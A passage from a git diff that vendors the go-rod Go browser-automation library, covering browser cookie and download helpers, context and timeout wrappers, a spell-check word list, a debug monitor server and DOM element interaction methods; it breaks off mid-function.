error) { + res, err := proto.TargetGetTargetInfo{TargetID: id}.Call(b) + if err != nil { + return nil, err + } + return res.TargetInfo, nil +} + +func (b *Browser) isHeadless() (enabled bool) { + res, _ := proto.BrowserGetBrowserCommandLine{}.Call(b) + for _, v := range res.Arguments { + if strings.Contains(v, "headless") { + return true + } + } + return false +} + +// IgnoreCertErrors switch. If enabled, all certificate errors will be ignored. +func (b *Browser) IgnoreCertErrors(enable bool) error { + return proto.SecuritySetIgnoreCertificateErrors{Ignore: enable}.Call(b) +} + +// GetCookies from the browser. +func (b *Browser) GetCookies() ([]*proto.NetworkCookie, error) { + res, err := proto.StorageGetCookies{BrowserContextID: b.BrowserContextID}.Call(b) + if err != nil { + return nil, err + } + return res.Cookies, nil +} + +// SetCookies to the browser. If the cookies is nil it will clear all the cookies. +func (b *Browser) SetCookies(cookies []*proto.NetworkCookieParam) error { + if cookies == nil { + return proto.StorageClearCookies{BrowserContextID: b.BrowserContextID}.Call(b) + } + + return proto.StorageSetCookies{ + Cookies: cookies, + BrowserContextID: b.BrowserContextID, + }.Call(b) +} + +// WaitDownload returns a helper to get the next download file. +// The file path will be: +// +// filepath.Join(dir, info.GUID) +func (b *Browser) WaitDownload(dir string) func() (info *proto.PageDownloadWillBegin) { + var oldDownloadBehavior proto.BrowserSetDownloadBehavior + has := b.LoadState("", &oldDownloadBehavior) + + _ = proto.BrowserSetDownloadBehavior{ + Behavior: proto.BrowserSetDownloadBehaviorBehaviorAllowAndName, + BrowserContextID: b.BrowserContextID, + DownloadPath: dir, + }.Call(b) + + var start *proto.PageDownloadWillBegin + + waitProgress := b.EachEvent(func(e *proto.PageDownloadWillBegin) { + start = e + }, func(e *proto.PageDownloadProgress) bool { + return start != nil && start.GUID == e.GUID && e.State == proto.PageDownloadProgressStateCompleted + }) + + return func() *proto.PageDownloadWillBegin { + defer func() { + if has { + _ = oldDownloadBehavior.Call(b) + } else { + _ = proto.BrowserSetDownloadBehavior{ + Behavior: proto.BrowserSetDownloadBehaviorBehaviorDefault, + BrowserContextID: b.BrowserContextID, + }.Call(b) + } + }() + + waitProgress() + + return start + } +} + +// Version info of the browser. +func (b *Browser) Version() (*proto.BrowserGetVersionResult, error) { + return proto.BrowserGetVersion{}.Call(b) +} diff --git a/backend/vendor/github.com/go-rod/rod/context.go b/backend/vendor/github.com/go-rod/rod/context.go new file mode 100644 index 0000000..b770695 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/context.go @@ -0,0 +1,132 @@ +package rod + +import ( + "context" + "time" + + "github.com/go-rod/rod/lib/utils" +) + +type ( + timeoutContextKey struct{} + timeoutContextVal struct { + parent context.Context + cancel context.CancelFunc + } +) + +// Context returns a clone with the specified ctx for chained sub-operations. +func (b *Browser) Context(ctx context.Context) *Browser { + newObj := *b + newObj.ctx = ctx + return &newObj +} + +// GetContext of current instance. +func (b *Browser) GetContext() context.Context { + return b.ctx +} + +// Timeout returns a clone with the specified total timeout of all chained sub-operations. +func (b *Browser) Timeout(d time.Duration) *Browser { + ctx, cancel := context.WithTimeout(b.ctx, d) + return b.Context(context.WithValue(ctx, timeoutContextKey{}, &timeoutContextVal{b.ctx, cancel})) +} + +// CancelTimeout cancels the current timeout context and returns a clone with the parent context. +func (b *Browser) CancelTimeout() *Browser { + val := b.ctx.Value(timeoutContextKey{}).(*timeoutContextVal) //nolint:forcetypeassert + val.cancel() + return b.Context(val.parent) +} + +// WithCancel returns a clone with a context cancel function. +func (b *Browser) WithCancel() (*Browser, func()) { + ctx, cancel := context.WithCancel(b.ctx) + return b.Context(ctx), cancel +} + +// Sleeper returns a clone with the specified sleeper for chained sub-operations. +func (b *Browser) Sleeper(sleeper func() utils.Sleeper) *Browser { + newObj := *b + newObj.sleeper = sleeper + return &newObj +} + +// Context returns a clone with the specified ctx for chained sub-operations. +func (p *Page) Context(ctx context.Context) *Page { + p.helpersLock.Lock() + newObj := *p + p.helpersLock.Unlock() + newObj.ctx = ctx + return &newObj +} + +// GetContext of current instance. +func (p *Page) GetContext() context.Context { + return p.ctx +} + +// Timeout returns a clone with the specified total timeout of all chained sub-operations. +func (p *Page) Timeout(d time.Duration) *Page { + ctx, cancel := context.WithTimeout(p.ctx, d) + return p.Context(context.WithValue(ctx, timeoutContextKey{}, &timeoutContextVal{p.ctx, cancel})) +} + +// CancelTimeout cancels the current timeout context and returns a clone with the parent context. +func (p *Page) CancelTimeout() *Page { + val := p.ctx.Value(timeoutContextKey{}).(*timeoutContextVal) //nolint: forcetypeassert + val.cancel() + return p.Context(val.parent) +} + +// WithCancel returns a clone with a context cancel function. +func (p *Page) WithCancel() (*Page, func()) { + ctx, cancel := context.WithCancel(p.ctx) + return p.Context(ctx), cancel +} + +// Sleeper returns a clone with the specified sleeper for chained sub-operations. +func (p *Page) Sleeper(sleeper func() utils.Sleeper) *Page { + newObj := *p + newObj.sleeper = sleeper + return &newObj +} + +// Context returns a clone with the specified ctx for chained sub-operations. +func (el *Element) Context(ctx context.Context) *Element { + newObj := *el + newObj.ctx = ctx + return &newObj +} + +// GetContext of current instance. +func (el *Element) GetContext() context.Context { + return el.ctx +} + +// Timeout returns a clone with the specified total timeout of all chained sub-operations. +func (el *Element) Timeout(d time.Duration) *Element { + ctx, cancel := context.WithTimeout(el.ctx, d) + return el.Context(context.WithValue(ctx, timeoutContextKey{}, &timeoutContextVal{el.ctx, cancel})) +} + +// CancelTimeout cancels the current timeout context and returns a clone with the parent context. +func (el *Element) CancelTimeout() *Element { + val := el.ctx.Value(timeoutContextKey{}).(*timeoutContextVal) //nolint: forcetypeassert + val.cancel() + return el.Context(val.parent) +} + +// WithCancel returns a clone with a context cancel function. +func (el *Element) WithCancel() (*Element, func()) { + ctx, cancel := context.WithCancel(el.ctx) + return el.Context(ctx), cancel +} + +// Sleeper returns a clone with the specified sleeper for chained sub-operations. +func (el *Element) Sleeper(sleeper func() utils.Sleeper) *Element { + newObj := *el + newObj.sleeper = sleeper + return &newObj +} diff --git a/backend/vendor/github.com/go-rod/rod/cspell.json b/backend/vendor/github.com/go-rod/rod/cspell.json new file mode 100644 index 0000000..48cf3a8 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/cspell.json @@ -0,0 +1,139 @@ +// cSpell Settings +{ + // Version of the setting file. Always 0.2 + "version": "0.2", + // language - current active spelling language + "language": "en", + "ignorePaths": [ + "**/*.{out,sketch,svg}", + "fixtures/fonts.html", + "**/tmp/**", + "lib/devices/list.go", + "lib/js/helper.go", + "lib/proto/!(a_*)", + "**/go.{mod,sum}", + ".golangci.yml" + ], + // words - list of words to be always considered correct + "words": [ + "APPDATA", + "Arraybuffer", + "backgrounding", + "backoff", + "Backquote", + "beforeunload", + "bodyclose", + "breakpad", + "Chromedp", + "codesearch", + "commandline", + "COMSPEC", + "containerenv", + "contenteditable", + "Contentful", + "Contextable", + "contextcheck", + "coverprofile", + "Dataview", + "datetime", + "dockerenv", + "dropzone", + "duckduckgo", + "enctype", + "errcheck", + "evenodd", + "excludesfile", + "fetchup", + "fontconfig", + "forbidigo", + "forcetypeassert", + "Fullscreen", + "Geolocation", + "getent", + "gobwas", + "gocognit", + "gocyclo", + "GODEBUG", + "gofmt", + "gofumpt", + "goimports", + "golangci", + "goob", + "gopls", + "goproxy", + "gotrace", + "gson", + "headful", + "iframe", + "iframes", + "Interactable", + "ioutil", + "keychain", + "KHTML", + "ldflags", + "leakless", + "libasound", + "libcairo", + "libgbm", + "libgobject", + "libgtk", + "libnss", + "libxss", + "libxtst", + "Lmsgprefix", + "loglevel", + "MDPI", + "MITM", + "mitmproxy", + "mvdan", + "nilnil", + "noctx", + "nolint", + "Noto", + "Numpad", + "onbeforeunload", + "onclick", + "onmouseenter", + "onmouseout", + "OOPIF", + "opencontainers", + "osversion", + "progresser", + "proto", + "proxyauth", + "Rects", + "repost", + "sattributes", + "schildren", + "Sessionable", + "Smood", + "Socketable", + "spki", + "spkis", + "srgb", + "staticcheck", + "stdlib", + "termux", + "tlid", + "touchend", + "touchstart", + "tparallel", + "tracebackancestors", + "trimpath", + "Typedarray", + "tzdata", + "Unserializable", + "Wasmvalue", + "Weakmap", + "Weakset", + "Webassemblymemory", + "wsutil", + "xlink", + "XVFB", + "ysmood" + ], + // flagWords - list of words to be always considered incorrect + // This is useful for offensive words and common spelling errors. + // For example "hte" should be "the" + "flagWords": [] +} diff --git a/backend/vendor/github.com/go-rod/rod/dev_helpers.go b/backend/vendor/github.com/go-rod/rod/dev_helpers.go new file mode 100644 index 0000000..c452756 --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/dev_helpers.go @@ -0,0 +1,264 @@ +// This file defines the helpers to develop automation. +// Such as when running automation we can use trace to visually +// see where the mouse going to click. + +package rod + +import ( + "encoding/json" + "fmt" + "html" + "net" + "net/http" + "strings" + "time" + + "github.com/go-rod/rod/lib/assets" + "github.com/go-rod/rod/lib/js" + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" +) + +// TraceType for logger. +type TraceType string + +// String interface. +func (t TraceType) String() string { + return fmt.Sprintf("[%s]", string(t)) +} + +const ( + // TraceTypeWaitRequestsIdle type. + TraceTypeWaitRequestsIdle TraceType = "wait requests idle" + + // TraceTypeWaitRequests type. + TraceTypeWaitRequests TraceType = "wait requests" + + // TraceTypeQuery type. + TraceTypeQuery TraceType = "query" + + // TraceTypeWait type. + TraceTypeWait TraceType = "wait" + + // TraceTypeInput type. + TraceTypeInput TraceType = "input" +) + +// ServeMonitor starts the monitor server. +// The reason why not to use "chrome://inspect/#devices" is one target cannot be driven by multiple controllers. +func (b *Browser) ServeMonitor(host string) string { + u, mux, closeSvr := serve(host) + go func() { + <-b.ctx.Done() + utils.E(closeSvr()) + }() + + mux.HandleFunc("/", func(w http.ResponseWriter, _ *http.Request) { + httHTML(w, assets.Monitor) + }) + mux.HandleFunc("/api/pages", func(w http.ResponseWriter, _ *http.Request) { + res, err := proto.TargetGetTargets{}.Call(b) //nolint: contextcheck + utils.E(err) + + list := []*proto.TargetTargetInfo{} + for _, info := range res.TargetInfos { + if info.Type == proto.TargetTargetInfoTypePage { + list = append(list, info) + } + } + + w.WriteHeader(http.StatusOK) + utils.E(w.Write(utils.MustToJSONBytes(list))) + }) + mux.HandleFunc("/page/", func(w http.ResponseWriter, _ *http.Request) { + httHTML(w, assets.MonitorPage) + }) + mux.HandleFunc("/api/page/", func(w http.ResponseWriter, r *http.Request) { + id := r.URL.Path[strings.LastIndex(r.URL.Path, "/")+1:] + info, err := b.pageInfo(proto.TargetTargetID(id)) //nolint: contextcheck + utils.E(err) + w.WriteHeader(http.StatusOK) + utils.E(w.Write(utils.MustToJSONBytes(info))) + }) + mux.HandleFunc("/screenshot/", func(w http.ResponseWriter, r *http.Request) { + id := r.URL.Path[strings.LastIndex(r.URL.Path, "/")+1:] + target := proto.TargetTargetID(id) + p := b.MustPageFromTargetID(target) + + w.Header().Add("Content-Type", "image/png;") + utils.E(w.Write(p.MustScreenshot())) //nolint: contextcheck + }) + + return u +} + +// check method and sleep if needed. +func (b *Browser) trySlowMotion() { + if b.slowMotion == 0 { + return + } + + time.Sleep(b.slowMotion) +} + +// ExposeHelpers helper functions to page's js context so that we can use the Devtools' console to debug them. +func (p *Page) ExposeHelpers(list ...*js.Function) { + p.MustEvaluate(evalHelper(&js.Function{ + Name: "_" + utils.RandString(8), // use a random name so it won't hit the cache + Definition: "() => { window.rod = functions }", + Dependencies: list, + })) +} + +// Overlay a rectangle on the main frame with specified message. +func (p *Page) Overlay(left, top, width, height float64, msg string) (remove func()) { + id := utils.RandString(8) + + _, _ = p.root.Evaluate(evalHelper(js.Overlay, + id, + left, + top, + width, + height, + msg, + ).ByPromise()) + + remove = func() { + _, _ = p.root.Evaluate(evalHelper(js.RemoveOverlay, id)) + } + + return +} + +func (p *Page) tryTrace(typ TraceType, msg ...interface{}) func() { + if !p.browser.trace { + return func() {} + } + + msg = append([]interface{}{typ}, msg...) + msg = append(msg, p) + + p.browser.logger.Println(msg...) + + return p.Overlay(0, 0, 500, 0, fmt.Sprint(msg)) +} + +func (p *Page) tryTraceQuery(opts *EvalOptions) func() { + if !p.browser.trace { + return func() {} + } + + p.browser.logger.Println(TraceTypeQuery, opts, p) + + msg := fmt.Sprintf("%s", html.EscapeString(opts.String())) + return p.Overlay(0, 0, 500, 0, msg) +} + +func (p *Page) tryTraceReq(includes, excludes []string) func(map[proto.NetworkRequestID]string) { + if !p.browser.trace { + return func(map[proto.NetworkRequestID]string) {} + } + + msg := map[string][]string{ + "includes": includes, + "excludes": excludes, + } + p.browser.logger.Println(TraceTypeWaitRequestsIdle, msg, p) + cleanup := p.Overlay(0, 0, 500, 0, utils.MustToJSON(msg)) + + ch := make(chan map[string]string) + update := func(list map[proto.NetworkRequestID]string) { + clone := map[string]string{} + for k, v := range list { + clone[string(k)] = v + } + ch <- clone + } + + go func() { + var waitList map[string]string + t := time.NewTicker(time.Second) + for { + select { + case <-p.ctx.Done(): + t.Stop() + cleanup() + return + case waitList = <-ch: + case <-t.C: + p.browser.logger.Println(TraceTypeWaitRequests, p, waitList) + } + } + }() + + return update +} + +// Overlay msg on the element. +func (el *Element) Overlay(msg string) (removeOverlay func()) { + id := utils.RandString(8) + + _, _ = el.Evaluate(evalHelper(js.ElementOverlay, + id, + msg, + ).ByPromise()) + + removeOverlay = func() { + _, _ = el.Evaluate(evalHelper(js.RemoveOverlay, id)) + } + + return +} + +func (el *Element) tryTrace(typ TraceType, msg ...interface{}) func() { + if !el.page.browser.trace { + return func() {} + } + + msg = append([]interface{}{typ}, msg...) + msg = append(msg, el) + + el.page.browser.logger.Println(msg...) + + return el.Overlay(fmt.Sprint(msg)) +} + +func (m *Mouse) initMouseTracer() { + _, _ = m.page.Evaluate(evalHelper(js.InitMouseTracer, m.id, assets.MousePointer).ByPromise()) +} + +func (m *Mouse) updateMouseTracer() bool { + res, err := m.page.Evaluate(evalHelper(js.UpdateMouseTracer, m.id, m.pos.X, m.pos.Y)) + if err != nil { + return true + } + return res.Value.Bool() +} + +// Serve a port, if host is empty a random port will be used. +func serve(host string) (string, *http.ServeMux, func() error) { + if host == "" { + host = "127.0.0.1:0" + } + + mux := http.NewServeMux() + srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + w.WriteHeader(http.StatusBadRequest) + utils.E(json.NewEncoder(w).Encode(err)) + } + }() + + mux.ServeHTTP(w, r) + })} + + l, err := net.Listen("tcp", host) + utils.E(err) + + go func() { _ = srv.Serve(l) }() + + url := "http://" + l.Addr().String() + + return url, mux, srv.Close +} diff --git a/backend/vendor/github.com/go-rod/rod/element.go b/backend/vendor/github.com/go-rod/rod/element.go new file mode 100644 index 0000000..97fceed --- /dev/null +++ b/backend/vendor/github.com/go-rod/rod/element.go @@ -0,0 +1,754 @@ +package rod + +import ( + "context" + "errors" + "fmt" + "reflect" + "strings" + "time" + + "github.com/go-rod/rod/lib/cdp" + "github.com/go-rod/rod/lib/input" + "github.com/go-rod/rod/lib/js" + "github.com/go-rod/rod/lib/proto" + "github.com/go-rod/rod/lib/utils" + "github.com/ysmood/gson" +) + +// Element implements these interfaces. +var ( + _ proto.Client = &Element{} + _ proto.Contextable = &Element{} + _ proto.Sessionable = &Element{} +) + +// Element represents the DOM element. +type Element struct { + Object *proto.RuntimeRemoteObject + + e eFunc + + ctx context.Context + + sleeper func() utils.Sleeper + + page *Page +} + +// GetSessionID interface. +func (el *Element) GetSessionID() proto.TargetSessionID { + return el.page.SessionID +} + +// String interface. +func (el *Element) String() string { + return fmt.Sprintf("<%s>", el.Object.Description) +} + +// Page of the element. +func (el *Element) Page() *Page { + return el.page +} + +// Focus sets focus on the specified element. +// Before the action, it will try to scroll to the element. +func (el *Element) Focus() error { + err := el.ScrollIntoView() + if err != nil { + return err + } + + _, err = el.Evaluate(Eval(`() => this.focus()`).ByUser()) + return err +} + +// ScrollIntoView scrolls the current element into the visible area of the browser +// window if it's not already within the visible area. +func (el *Element) ScrollIntoView() error { + defer el.tryTrace(TraceTypeInput, "scroll into view")() + el.page.browser.trySlowMotion() + + err := el.WaitStableRAF() + if err != nil { + return err + } + + return proto.DOMScrollIntoViewIfNeeded{ObjectID: el.id()}.Call(el) +} + +// Hover the mouse over the center of the element. +// Before the action, it will try to scroll to the element and wait until it's interactable. +func (el *Element) Hover() error { + pt, err := el.WaitInteractable() + if err != nil { + return err + } + + return el.page.Context(el.ctx).Mouse.MoveTo(*pt) +} + +// MoveMouseOut of the current element. +func (el *Element) MoveMouseOut() error { + shape, err := el.Shape() + if err != nil { + return err + } + box := shape.Box() + return el.page.Mouse.MoveTo(proto.NewPoint(box.X+box.Width, box.Y)) +} + +// Click will press then release the button just like a human. +// Before the action, it will try to scroll to the element, hover the mouse over it, +// wait until the it's interactable and enabled. +func (el *Element) Click(button proto.InputMouseButton, clickCount int) error { + err := el.Hover() + if err != nil { + return err + } + + err = el.WaitEnabled() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, string(button)+" click")() + + return el.page.Context(el.ctx).Mouse.Click(button, clickCount) +} + +// Tap will scroll to the button and tap it just like a human. +// Before the action, it will try to scroll to the element and wait until it's interactable and enabled. +func (el *Element) Tap() error { + err := el.ScrollIntoView() + if err != nil { + return err + } + + err = el.WaitEnabled() + if err != nil { + return err + } + + pt, err := el.WaitInteractable() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, "tap")() + + return el.page.Context(el.ctx).Touch.Tap(pt.X, pt.Y) +} + +// Interactable checks if the element is interactable with cursor. +// The cursor can be mouse, finger, stylus, etc. +// If not interactable err will be ErrNotInteractable, such as when covered by a modal,. +func (el *Element) Interactable() (pt *proto.Point, err error) { + noPointerEvents, err := el.Eval(`() => getComputedStyle(this).pointerEvents === 'none'`) + if err != nil { + return nil, err + } + + if noPointerEvents.Value.Bool() { + return nil, &NoPointerEventsError{el} + } + + shape, err := el.Shape() + if err != nil { + return nil, err + } + + pt = shape.OnePointInside() + if pt == nil { + err = &InvisibleShapeError{el} + return + } + + scroll, err := el.page.root.Context(el.ctx).Eval(`() => ({ x: window.scrollX, y: window.scrollY })`) + if err != nil { + return + } + + elAtPoint, err := el.page.Context(el.ctx).ElementFromPoint( + int(pt.X)+scroll.Value.Get("x").Int(), + int(pt.Y)+scroll.Value.Get("y").Int(), + ) + if err != nil { + if errors.Is(err, cdp.ErrNodeNotFoundAtPos) { + err = &InvisibleShapeError{el} + } + return + } + + isParent, err := el.ContainsElement(elAtPoint) + if err != nil { + return + } + + if !isParent { + err = &CoveredError{elAtPoint} + } + return +} + +// Shape of the DOM element content. The shape is a group of 4-sides polygons. +// A 4-sides polygon is not necessary a rectangle. 4-sides polygons can be apart from each other. +// For example, we use 2 4-sides polygons to describe the shape below: +// +// ____________ ____________ +// / ___/ = /___________/ + _________ +// /________/ /________/ +func (el *Element) Shape() (*proto.DOMGetContentQuadsResult, error) { + return proto.DOMGetContentQuads{ObjectID: el.id()}.Call(el) +} + +// Type is similar with Keyboard.Type. +// Before the action, it will try to scroll to the element and focus on it. +func (el *Element) Type(keys ...input.Key) error { + err := el.Focus() + if err != nil { + return err + } + return el.page.Context(el.ctx).Keyboard.Type(keys...) +} + +// KeyActions is similar with Page.KeyActions. +// Before the action, it will try to scroll to the element and focus on it. +func (el *Element) KeyActions() (*KeyActions, error) { + err := el.Focus() + if err != nil { + return nil, err + } + + return el.page.Context(el.ctx).KeyActions(), nil +} + +// SelectText selects the text that matches the regular expression. +// Before the action, it will try to scroll to the element and focus on it. +func (el *Element) SelectText(regex string) error { + err := el.Focus() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, "select text: "+regex)() + el.page.browser.trySlowMotion() + + _, err = el.Evaluate(evalHelper(js.SelectText, regex).ByUser()) + return err +} + +// SelectAllText selects all text +// Before the action, it will try to scroll to the element and focus on it. +func (el *Element) SelectAllText() error { + err := el.Focus() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, "select all text")() + el.page.browser.trySlowMotion() + + _, err = el.Evaluate(evalHelper(js.SelectAllText).ByUser()) + return err +} + +// Input focuses on the element and input text to it. +// Before the action, it will scroll to the element, wait until it's visible, enabled and writable. +// To empty the input you can use something like +// +// el.SelectAllText().MustInput("") +func (el *Element) Input(text string) error { + err := el.Focus() + if err != nil { + return err + } + + err = el.WaitEnabled() + if err != nil { + return err + } + + err = el.WaitWritable() + if err != nil { + return err + } + + err = el.page.Context(el.ctx).InsertText(text) + _, _ = el.Evaluate(evalHelper(js.InputEvent).ByUser()) + return err +} + +// InputTime focuses on the element and input time to it. +// Before the action, it will scroll to the element, wait until it's visible, enabled and writable. +// It will wait until the element is visible, enabled and writable. +func (el *Element) InputTime(t time.Time) error { + err := el.Focus() + if err != nil { + return err + } + + err = el.WaitEnabled() + if err != nil { + return err + } + + err = el.WaitWritable() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, "input "+t.String())() + + _, err = el.Evaluate(evalHelper(js.InputTime, t.UnixNano()/1e6).ByUser()) + return err +} + +// InputColor focuses on the element and inputs a color string to it. +// Before the action, it will scroll to the element, wait until it's visible, enabled and writable. +func (el *Element) InputColor(color string) error { + err := el.Focus() + if err != nil { + return err + } + + err = el.WaitEnabled() + if err != nil { + return err + } + + err = el.WaitWritable() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, "input "+color)() + + _, err = el.Evaluate(evalHelper(js.InputColor, color)) + return err +} + +// Blur removes focus from the element. +func (el *Element) Blur() error { + _, err := el.Evaluate(Eval("() => this.blur()").ByUser()) + return err +} + +// Select the children option elements that match the selectors. +// Before the action, it will scroll to the element, wait until it's visible. +// If no option matches the selectors, it will return [ErrElementNotFound]. +func (el *Element) Select(selectors []string, selected bool, t SelectorType) error { + err := el.Focus() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeInput, fmt.Sprintf(`select "%s"`, strings.Join(selectors, "; ")))() + el.page.browser.trySlowMotion() + + res, err := el.Evaluate(evalHelper(js.Select, selectors, selected, t).ByUser()) + if err != nil { + return err + } + if !res.Value.Bool() { + return &ElementNotFoundError{} + } + return nil +} + +// Matches checks if the element can be selected by the css selector. +func (el *Element) Matches(selector string) (bool, error) { + res, err := el.Eval(`s => this.matches(s)`, selector) + if err != nil { + return false, err + } + return res.Value.Bool(), nil +} + +// Attribute of the DOM object. +// Attribute vs Property: +// https://stackoverflow.com/questions/6003819/what-is-the-difference-between-properties-and-attributes-in-html +func (el *Element) Attribute(name string) (*string, error) { + attr, err := el.Eval("(n) => this.getAttribute(n)", name) + if err != nil { + return nil, err + } + + if attr.Value.Nil() { + return nil, nil //nolint: nilnil + } + + s := attr.Value.Str() + return &s, nil +} + +// Property of the DOM object. +// Property vs Attribute: +// https://stackoverflow.com/questions/6003819/what-is-the-difference-between-properties-and-attributes-in-html +func (el *Element) Property(name string) (gson.JSON, error) { + prop, err := el.Eval("(n) => this[n]", name) + if err != nil { + return gson.New(nil), err + } + + return prop.Value, nil +} + +// Disabled checks if the element is disabled. +func (el *Element) Disabled() (bool, error) { + prop, err := el.Property("disabled") + if err != nil { + return false, err + } + return prop.Bool(), nil +} + +// SetFiles of the current file input element. +func (el *Element) SetFiles(paths []string) error { + absPaths := utils.AbsolutePaths(paths) + + defer el.tryTrace(TraceTypeInput, fmt.Sprintf("set files: %v", absPaths))() + el.page.browser.trySlowMotion() + + err := proto.DOMSetFileInputFiles{ + Files: absPaths, + ObjectID: el.id(), + }.Call(el) + + return err +} + +// Describe the current element. The depth is the maximum depth at which children should be retrieved, defaults to 1, +// use -1 for the entire subtree or provide an integer larger than 0. +// The pierce decides whether or not iframes and shadow roots should be traversed when returning the subtree. +// The returned [proto.DOMNode.NodeID] will always be empty, +// because NodeID is not stable (when [proto.DOMDocumentUpdated] +// is fired all NodeID on the page will be reassigned to another value) +// we don't recommend using the NodeID, instead, use the [proto.DOMBackendNodeID] to identify the element. +func (el *Element) Describe(depth int, pierce bool) (*proto.DOMNode, error) { + val, err := proto.DOMDescribeNode{ObjectID: el.id(), Depth: gson.Int(depth), Pierce: pierce}.Call(el) + if err != nil { + return nil, err + } + return val.Node, nil +} + +// ShadowRoot returns the shadow root of this element. +func (el *Element) ShadowRoot() (*Element, error) { + node, err := el.Describe(1, false) + if err != nil { + return nil, err + } + + // though now it's an array, w3c changed the spec of it to be a single. + if len(node.ShadowRoots) == 0 { + return nil, &NoShadowRootError{el} + } + id := node.ShadowRoots[0].BackendNodeID + + shadowNode, err := proto.DOMResolveNode{BackendNodeID: id}.Call(el) + if err != nil { + return nil, err + } + + return el.page.Context(el.ctx).ElementFromObject(shadowNode.Object) +} + +// Frame creates a page instance that represents the iframe. +func (el *Element) Frame() (*Page, error) { + node, err := el.Describe(1, false) + if err != nil { + return nil, err + } + + clone := *el.page + clone.FrameID = node.FrameID + clone.jsCtxID = new(proto.RuntimeRemoteObjectID) + clone.element = el + clone.sleeper = el.sleeper + + return &clone, nil +} + +// ContainsElement check if the target is equal or inside the element. +func (el *Element) ContainsElement(target *Element) (bool, error) { + res, err := el.Evaluate(evalHelper(js.ContainsElement, target.Object)) + if err != nil { + return false, err + } + return res.Value.Bool(), nil +} + +// Text that the element displays. +func (el *Element) Text() (string, error) { + str, err := el.Evaluate(evalHelper(js.Text)) + if err != nil { + return "", err + } + return str.Value.String(), nil +} + +// HTML of the element. +func (el *Element) HTML() (string, error) { + res, err := proto.DOMGetOuterHTML{ObjectID: el.Object.ObjectID}.Call(el) + if err != nil { + return "", err + } + return res.OuterHTML, nil +} + +// Visible returns true if the element is visible on the page. +func (el *Element) Visible() (bool, error) { + res, err := el.Evaluate(evalHelper(js.Visible)) + if err != nil { + return false, err + } + return res.Value.Bool(), nil +} + +// WaitLoad for element like . +func (el *Element) WaitLoad() error { + defer el.tryTrace(TraceTypeWait, "load")() + _, err := el.Evaluate(evalHelper(js.WaitLoad).ByPromise()) + return err +} + +// WaitStable waits until no shape or position change for d duration. +// Be careful, d is not the max wait timeout, it's the least stable time. +// If you want to set a timeout you can use the [Element.Timeout] function. +func (el *Element) WaitStable(d time.Duration) error { + err := el.WaitVisible() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeWait, "stable")() + + shape, err := el.Shape() + if err != nil { + return err + } + + t := time.NewTicker(d) + defer t.Stop() + + for { + select { + case <-t.C: + case <-el.ctx.Done(): + return el.ctx.Err() + } + current, err := el.Shape() + if err != nil { + return err + } + if reflect.DeepEqual(shape, current) { + break + } + shape = current + } + return nil +} + +// WaitStableRAF waits until no shape or position change for 2 consecutive animation frames. +// If you want to wait animation that is triggered by JS not CSS, you'd better use [Element.WaitStable]. +// About animation frame: https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame +func (el *Element) WaitStableRAF() error { + err := el.WaitVisible() + if err != nil { + return err + } + + defer el.tryTrace(TraceTypeWait, "stable RAF")() + + var shape *proto.DOMGetContentQuadsResult + page := el.page.Context(el.ctx) + + for { + err = page.WaitRepaint() + if err != nil { + return err + } + + current, err := el.Shape() + if err != nil { + return err + } + if reflect.DeepEqual(shape, current) { + break + } + shape = current + } + return nil +} + +// WaitInteractable waits for the element to be interactable. +// It will try to scroll to the element on each try. +func (el *Element) WaitInteractable() (pt *proto.Point, err error) { + defer el.tryTrace(TraceTypeWait, "interactable")() + + err = utils.Retry(el.ctx, el.sleeper(), func() (bool, error) { + // For lazy loading page the element can be outside of the viewport. + // If we don't scroll to it, it will never be available. + err := el.ScrollIntoView() + if err != nil { + return true, err + } + + pt, err = el.Interactable() + if errors.Is(err, &CoveredError{}) { + return false, nil + } + return true, err + }) + return +} + +// Wait until the js returns true. +func (el *Element) Wait(opts *EvalOptions) error { + return el.page.Context(el.ctx).Sleeper(el.sleeper).Wait(opts.This(el.Object)) +} + +// WaitVisible until the element is visible. +func (el *Element) WaitVisible() error { + defer el.tryTrace(TraceTypeWait, "visible")() + return el.Wait(evalHelper(js.Visible)) +} + +// WaitEnabled until the element is not disabled. +// Doc for readonly: https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/readonly +func (el *Element) WaitEnabled() error { + defer el.tryTrace(TraceTypeWait, "enabled")() + return el.Wait(Eval(`() => !this.disabled`)) +} + +// WaitWritable until the element is not readonly. +// Doc for disabled: https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/disabled +func (el *Element) WaitWritable() error { + defer el.tryTrace(TraceTypeWait, "writable")() + return el.Wait(Eval(`() => !this.readonly`)) +} + +// WaitInvisible until the element invisible. +func (el *Element) WaitInvisible() error { + defer el.tryTrace(TraceTypeWait, "invisible")() + return el.Wait(evalHelper(js.Invisible)) +} + +// CanvasToImage get image data of a canvas. +// The default format is image/png. +// The default quality is 0.92. +// doc: https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/toDataURL +func (el *Element) CanvasToImage(format string, quality float64) ([]byte, error) { + res, err := el.Eval(`(format, quality) => this.toDataURL(format, quality)`, format, quality) + if err != nil { + return nil, err + } + + _, bin := parseDataURI(res.Value.Str()) + return bin, nil +} + +// Resource returns the "src" content of current element. Such as the jpg of . +func (el *Element) Resource() ([]byte, error) { + src, err := el.Evaluate(evalHelper(js.Resource).ByPromise()) + if err != nil { + return nil, err + } + + return el.page.Context(el.ctx).GetResource(src.Value.String()) +} + +// BackgroundImage returns the css background-image of the element. +func (el *Element) BackgroundImage() ([]byte, error) { + res, err := el.Eval(`() => window.getComputedStyle(this).backgroundImage.replace(/^url\("/, '').replace(/"\)$/, '')`) + if err != nil { + return nil, err + } + + u := res.Value.Str() + + return el.page.Context(el.ctx).GetResource(u) +} + +// Screenshot of the area of the element. +func (el *Element) Screenshot(format 